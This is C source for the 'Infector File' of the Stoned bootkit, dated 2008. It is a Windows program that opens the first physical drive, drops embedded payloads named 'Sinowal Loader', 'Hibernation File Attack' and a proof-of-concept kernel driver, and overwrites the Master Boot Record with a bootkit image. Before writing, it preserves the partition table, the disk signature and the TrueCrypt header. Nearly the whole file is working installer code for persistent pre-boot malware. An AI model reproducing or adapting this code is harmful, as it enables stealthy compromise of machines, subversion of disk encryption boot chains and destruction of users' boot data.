/*                                                                              */
/*        Infector File for Stoned												*/
/*                                                                              */
/*        Name: Infector File                                                   */
/*        Author: Peter Kleissner                                               */
/*        Version: 1.0                                                          */
/*        Date: Saturday, 13th December 2008                                    */
/*                                                                              */
/*        Copyright (c) 2008 Peter Kleissner                                    */
/*        All rights reserved.                                                  */
/*                                                                              */
/*        www.viennacomputerproducts.com/hibernationfileattack                  */
/*        www.stoned-vienna.com													*/
/*                                                                              */

#include "windows.h"
#include "tchar.h"
#include "resource.h"


/* forward declarations */

int BackupMBR(HANDLE Disk);
BYTE * LoadMBRImage();
int FixPartitionTable(HANDLE Disk, BYTE * MBR_Image);
int FixDiskSignature(HANDLE Disk, BYTE * MBR_Image);
int FixTrueCryptVolumeHeader(HANDLE Disk, BYTE * MBR_Image);
int FixBootloaderImage(HANDLE Disk, BYTE * MBR_Image);
bool ExtractResourceToFile(unsigned Number, wchar_t * FileName);
DWORD GetUnpartitionedSpace(HANDLE Disk);


/* Application Entry */

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    // create handle to drive
    HANDLE PhysicalDisk = CreateFile(L"\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
    if (PhysicalDisk == INVALID_HANDLE_VALUE)
    {
        MessageBox(NULL, L"Could not open drive to operate.", L"Error", MB_OK);
        return FALSE;
    }

	// create Stoned paths
	if (!CreateDirectory(L"C:\\Stoned", NULL)				||
		!CreateDirectory(L"C:\\Stoned\\Applications", NULL)	||
		!CreateDirectory(L"C:\\Stoned\\Drivers", NULL)		||
		!CreateDirectory(L"C:\\Stoned\\Plugins", NULL)		)
    {
		MessageBox(NULL, L"Could not create Stoned directories on drive C:\\.", L"Error", MB_OK);
        return FALSE;
    }

    // backup Master Boot Record
    if (!BackupMBR(PhysicalDisk))
        return FALSE;

	// extract the Stoned files
	ExtractResourceToFile(IDR_RT_BOOTAPPLICATION1, L"C:\\Stoned\\Applications\\Forensic Lockdown Software.sys");
	ExtractResourceToFile(IDR_RT_BOOTAPPLICATION2, L"C:\\Stoned\\Applications\\Hibernation File Attack.sys");
	ExtractResourceToFile(IDR_RT_BOOTAPPLICATION3, L"C:\\Stoned\\Applications\\Sinowal Loader.sys");
	ExtractResourceToFile(IDR_RT_BOOTAPPLICATION4, L"C:\\Stoned\\Applications\\Windows.sys");
	ExtractResourceToFile(IDR_RT_KERNELDRIVER1, L"C:\\Stoned\\Drivers\\Sinowal.sys");
	ExtractResourceToFile(IDR_RT_KERNELDRIVER2, L"C:\\Stoned\\Drivers\\Sinowal Extractor.sys");
	ExtractResourceToFile(IDR_RT_KERNELDRIVER3, L"C:\\Stoned\\Drivers\\Black Hat Europe 2007 Vipin Kumar POC.sys");

    // load new Master Boot Record Image
    BYTE * Memory = LoadMBRImage();
    if (!Memory)
        return FALSE;

    // fix Master Boot Record Image with Partition Table
    if (!FixPartitionTable(PhysicalDisk, Memory))
        return FALSE;

    // fix Disk Signature
    if (!FixDiskSignature(PhysicalDisk, Memory))
        return FALSE;

	// fix TrueCrypt volume header information
	if (!FixTrueCryptVolumeHeader(PhysicalDisk, Memory))
		return FALSE;

    // fix original Bootloader Image for restore methods
    if (!FixBootloaderImage(PhysicalDisk, Memory))
        return FALSE;

    // write new Master Boot Record to disk
    SetFilePointer(PhysicalDisk, 0, 0, FILE_BEGIN);
    DWORD NumberOfBytesWritten;
    if (!WriteFile(PhysicalDisk, Memory, 63*512, &NumberOfBytesWritten, NULL))
    {
        MessageBox(NULL, L"Could not write Master Boot Record to drive.", L"Error", MB_OK);
        return FALSE;
    }

    // that's it!
    MessageBox(NULL, L"Written successful.", L"Successful", MB_OK);

	CloseHandle(PhysicalDisk);
	return TRUE;
}


/* makes a backup of the original entire Master Boot Record */

int BackupMBR(HANDLE Disk)
{
    DWORD NumberOfBytesRead;
    void * MasterBootRecord = VirtualAlloc(NULL, 63*512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);
    if (!ReadFile(Disk, MasterBootRecord, 63*512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read drive to back up MBR.", L"Error", MB_OK);
        return FALSE;
    }

    HANDLE MBR_Image_File = CreateFile(L"C:\\Stoned\\Master Boot Record.bak", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
    if (MBR_Image_File == INVALID_HANDLE_VALUE)
    {
        if (GetLastError() == ERROR_FILE_EXISTS)
            MessageBox(NULL, L"Master Boot Record backup already exists. Abort - further operation would lead into data loss.", L"Error", MB_OK);
        else
            MessageBox(NULL, L"Could not create Master Boot Record backup file.", L"Error", MB_OK);
        return FALSE;
    }

    DWORD NumberOfBytesWritten;
    if (!WriteFile(MBR_Image_File, MasterBootRecord, 63*512, &NumberOfBytesWritten, NULL))
    {
        MessageBox(NULL, L"Could not write Master Boot Record backup to file.", L"Error", MB_OK);
        return FALSE;
    }

	// write MBR backup to end of drive
	DWORD UnpartitionedSector;
	if (!(UnpartitionedSector = GetUnpartitionedSpace(Disk)))
		return FALSE;

	LARGE_INTEGER UnpartitionedSpace;
	UnpartitionedSpace.QuadPart = UnpartitionedSector;
	UnpartitionedSpace.QuadPart *= 512;
    if (!SetFilePointerEx(Disk, UnpartitionedSpace, NULL, FILE_BEGIN))
    {
        MessageBox(NULL, L"Could not seek file pointer to unpartitioned space.", L"Error", MB_OK);
        return FALSE;
    }

    if (!WriteFile(Disk, MasterBootRecord, 63*512, &NumberOfBytesWritten, NULL))
    {
        MessageBox(NULL, L"Could not write Master Boot Record backup to unpartitioned space.", L"Error", MB_OK);
        return FALSE;
    }

    VirtualFree(MasterBootRecord, 0, MEM_RELEASE);
    return TRUE;
}


/* loads the Master Boot Record Image from resource */

BYTE * LoadMBRImage()
{
    HRSRC Resource = FindResource(NULL, MAKEINTRESOURCE(IDR_RT_MASTERBOOTRECORD), RT_RCDATA);
    if (!Resource)
    {
        MessageBox(NULL, L"Could not load Master Boot Record resource.", L"Error", MB_OK);
        return FALSE;
    }

    HANDLE GlobalMemory = LoadResource(NULL, Resource);
    if (!GlobalMemory)
    {
        MessageBox(NULL, L"Could not get handle to resource memory.", L"Error", MB_OK);
        return FALSE;
    }

    void * Memory = LockResource(GlobalMemory);
    if (!Memory)
    {
        MessageBox(NULL, L"Could not get pointer to memory.", L"Error", MB_OK);
        return FALSE;
    }

    return (BYTE *)Memory;
}


/* fixes a Master Boot Record with the Partition Table */

int FixPartitionTable(HANDLE Disk, BYTE * MBR_Image)
{
    DWORD NumberOfBytesRead;
    BYTE * PartitionTable = (BYTE *)VirtualAlloc(NULL, 512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);
    SetFilePointer(Disk, 0, 0, FILE_BEGIN);
    if (!ReadFile(Disk, PartitionTable, 512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read Partition Table from drive.", L"Error", MB_OK);
        return FALSE;
    }

    memcpy(MBR_Image + 0x1BE, PartitionTable + 0x1BE, 4*16);

    VirtualFree(PartitionTable, 0, MEM_RELEASE);
    return TRUE;
}


/* fixes the Disk Signature */

int FixDiskSignature(HANDLE Disk, BYTE * MBR_Image)
{
    DWORD NumberOfBytesRead;
    BYTE * Bootloader = (BYTE *)VirtualAlloc(NULL, 512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);
    SetFilePointer(Disk, 0, 0, FILE_BEGIN);
    if (!ReadFile(Disk, Bootloader, 512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read Bootloader from drive.", L"Error", MB_OK);
        return FALSE;
    }

    memcpy(MBR_Image + 440, Bootloader + 440, 6);

    VirtualFree(Bootloader, 0, MEM_RELEASE);
    return TRUE;
}


/* fixes TrueCrypt's Volume Header information */

int FixTrueCryptVolumeHeader(HANDLE Disk, BYTE * MBR_Image)
{
    DWORD NumberOfBytesRead;
    BYTE * TrueCryptSector = (BYTE *)VirtualAlloc(NULL, 512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);
    SetFilePointer(Disk, 62*512, 0, FILE_BEGIN);
    if (!ReadFile(Disk, TrueCryptSector, 512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read TrueCrypt Volume Header from drive.", L"Error", MB_OK);
        return FALSE;
    }

    memcpy(MBR_Image + 62*512, TrueCryptSector, 512);

    VirtualFree(TrueCryptSector, 0, MEM_RELEASE);
    return TRUE;
}


/* fixes the original Bootloader Image */

int FixBootloaderImage(HANDLE Disk, BYTE * MBR_Image)
{
    DWORD NumberOfBytesRead;
    BYTE * Bootloader = (BYTE *)VirtualAlloc(NULL, 512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);
    SetFilePointer(Disk, 0, 0, FILE_BEGIN);
    if (!ReadFile(Disk, Bootloader, 512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read Bootloader from drive.", L"Error", MB_OK);
        return FALSE;
    }

    memcpy(MBR_Image + 61 * 512, Bootloader, 512);

    VirtualFree(Bootloader, 0, MEM_RELEASE);
    return TRUE;
}


/* loads a resource and stores to a file */

bool ExtractResourceToFile(unsigned Number, wchar_t * FileName)
{
    HRSRC Resource = FindResource(NULL, MAKEINTRESOURCE(Number), RT_RCDATA);
    if (!Resource)
    {
        MessageBox(NULL, L"Could not load resource.", L"Error", MB_OK);
        return FALSE;
    }

    HANDLE GlobalMemory = LoadResource(NULL, Resource);
    if (!GlobalMemory)
    {
        MessageBox(NULL, L"Could not get handle to resource memory.", L"Error", MB_OK);
        return FALSE;
    }

    void * Memory = LockResource(GlobalMemory);
    if (!Memory)
    {
        MessageBox(NULL, L"Could not get pointer to memory of resource.", L"Error", MB_OK);
        return FALSE;
    }

	DWORD SizeOfResourceImage = SizeofResource(NULL, Resource);
	if (!SizeOfResourceImage)
    {
        MessageBox(NULL, L"Could not get size of resource.", L"Error", MB_OK);
        return FALSE;
    }

    HANDLE Resouce_Image_File = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
    if (Resouce_Image_File == INVALID_HANDLE_VALUE)
    {
        if (GetLastError() == ERROR_FILE_EXISTS)
            MessageBox(NULL, L"File already exists.", L"Error", MB_OK);
        else
            MessageBox(NULL, L"Could not create resource to image file.", L"Error", MB_OK);
        return FALSE;
    }

    DWORD NumberOfBytesWritten;
    if (!WriteFile(Resouce_Image_File, Memory, SizeOfResourceImage, &NumberOfBytesWritten, NULL))
    {
        MessageBox(NULL, L"Could not write resource to image file.", L"Error", MB_OK);
        return FALSE;
    }

	CloseHandle(Resouce_Image_File);
    VirtualFree(Memory, 0, MEM_RELEASE);

    return TRUE;
}


/* calculates first sector of unpartitioned space like Sinowal does */

DWORD GetUnpartitionedSpace(HANDLE Disk)
{
    SetFilePointer(Disk, 0, NULL, FILE_BEGIN);
    BYTE * PartitionTable = (BYTE *)VirtualAlloc(NULL, 512, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE);

	// read Partition Table
    DWORD NumberOfBytesRead;
	if (!ReadFile(Disk, PartitionTable, 512, &NumberOfBytesRead, NULL))
    {
        MessageBox(NULL, L"Could not read Partition Table from drive.", L"Error", MB_OK);
        return FALSE;
    }

	// find unpartitioned space (usually ~10 MB at end of drive)
	DWORD FirstUnpartitionedSector = 0;
	DWORD * PartitionTableEntry = (DWORD *)(PartitionTable + 0x1C6);

	for (int n = 0; n < 4; n++, PartitionTableEntry += 4)
	{
		DWORD SectorAfterPartition = *PartitionTableEntry + *(PartitionTableEntry + 1);
		if (FirstUnpartitionedSector < SectorAfterPartition)
			FirstUnpartitionedSector = SectorAfterPartition;
	}

	if (!FirstUnpartitionedSector)
        MessageBox(NULL, L"Could not retrieve position of unpartitioned space.", L"Error", MB_OK);

	return FirstUnpartitionedSector;
}
